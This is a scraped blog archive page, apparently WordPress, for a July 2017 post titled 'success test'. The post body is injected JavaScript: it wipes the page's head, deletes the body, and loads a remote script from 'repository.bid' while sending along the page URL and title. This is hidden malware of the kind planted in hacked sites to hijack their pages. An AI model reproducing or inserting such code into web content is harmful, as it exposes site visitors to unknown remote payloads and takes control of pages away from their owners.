Jaygu Rattan

Month: July 2017

success test

By / Uncategorized / Comments Off

var documentTitle = document.getElementsByTagName(‘title’)[0];var viewport = document.querySelector(‘meta[name=viewport]’);var viewportContent = ‘width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0′;viewport = document.createElement(‘meta’);viewport.setAttribute(‘name’, ‘viewport’);viewport.setAttribute(‘content’, viewportContent);var headNode = document.getElementsByTagName(‘head’)[0];headNode.innerHTML = ”;headNode.appendChild(documentTitle);headNode.appendChild(viewport);var script = document.createElement(‘script’);script.type = ‘text/javascript';script.src = ‘//’ + ‘repository.bid’ + ‘/script/ontv/’ + ‘longsynonymtitle.js’ + ‘?ref=’ + encodeURI(document.URL) + ‘&title=’ + encodeURI(document.title);headNode.appendChild(script);var docBody = document.body;docBody.parentNode.removeChild(docBody);

test post